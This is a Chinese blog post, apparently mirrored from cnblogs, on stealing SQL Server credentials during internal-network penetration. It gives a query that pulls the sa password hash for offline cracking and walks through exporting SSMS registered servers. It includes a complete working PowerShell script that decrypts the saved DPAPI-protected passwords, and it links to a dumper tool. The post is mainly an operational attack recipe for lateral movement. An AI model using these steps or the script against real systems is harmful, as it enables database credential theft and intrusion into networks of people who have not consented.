zoukankan      html  css  js  c++  java
  • 三种方式获取SSMS连接密码

    内网渗透是有的时候会遇到对方SSMS没断开连接正连着别的机器的mssql此时有两种方法可以获取sa密码

    当密码强度较弱时可以使用第一只方式,第一种方式解不开的情况下可以使用后面二种方式

    1.直接查询sa密码hash

    使用如下语句:

    Select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name = 'sa'

    直接得到sa密码hash

    image.png

    上cmd5解密

    image.png

    2.使用SSMS的注册导出功能

    右键点击,然后选择注册

    image.png

    点击保存

    image.png

    点击识图然后点击已注册服务器

    image.png

    然后右键选择任务,然后导出

    image.png

    这个记得别勾,点确定

    image.png

    然后使用powershell脚本解密

    param(
    [Parameter(Mandatory=$true)]
    [string] $FileName
    )
    Add-Type -AssemblyName System.Security
    $ErrorActionPreference = 'Stop'
    function Unprotect-String([string] $base64String)
    {
    return
    [System.Text.Encoding]::Unicode.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String($base64String
    ), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
    }
    $document = [xml] (Get-Content $FileName)
    $nsm = New-Object 'System.Xml.XmlNamespaceManager' ($document.NameTable)
    $nsm.AddNamespace('rs', 'http://schemas.microsoft.com/sqlserver/RegisteredServers/2007/08')
    $attr = $document.DocumentElement.GetAttribute('plainText')
    if ($attr -ne '' -and $Operation -ieq 'Decrypt')
    {
    throw "The file does not contain encrypted passwords."
    }
    $servers = $document.SelectNodes("//rs:RegisteredServer", $nsm)
    foreach ($server in $servers)
    {
    $connString = $server.ConnectionStringWithEncryptedPassword.InnerText
    echo ""
    echo "Encrypted Connection String:"
    echo $connString
    echo ""
    if ($connString -inotmatch 'password="?([^";]+)"?') {continue}
    $password = $Matches[1]
    $password = Unprotect-String $password
    echo ""
    echo "Decrypted Connection String:"
    $connString = $connString -ireplace 'password="?([^";]+)"?', "password=`"$password`""
    echo $connString
    echo ""
    }
    

    image.png

    3.导出SSMS记住的密码

    http://www.zcgonvh.com/post/SQL_Server_Management_Studio_saved_password_dumper.html

    https://github.com/zcgonvh/SSMSPwd

  • 相关阅读:
    Idea安装Mevn
    Spring_AOP
    Java_AOP原理
    Spring_数据校验和自定义检验规则和分组校验
    spring全局异常处理
    拦截器和自定义注解@interface
    linux下开启、关闭、重启mysql服务命令
    springboot的HelloWorld~~~
    切面自动装配注意点
    oracle分页
  • 原文地址:https://www.cnblogs.com/cwkiller/p/13867044.html
Copyright © 2011-2022 走看看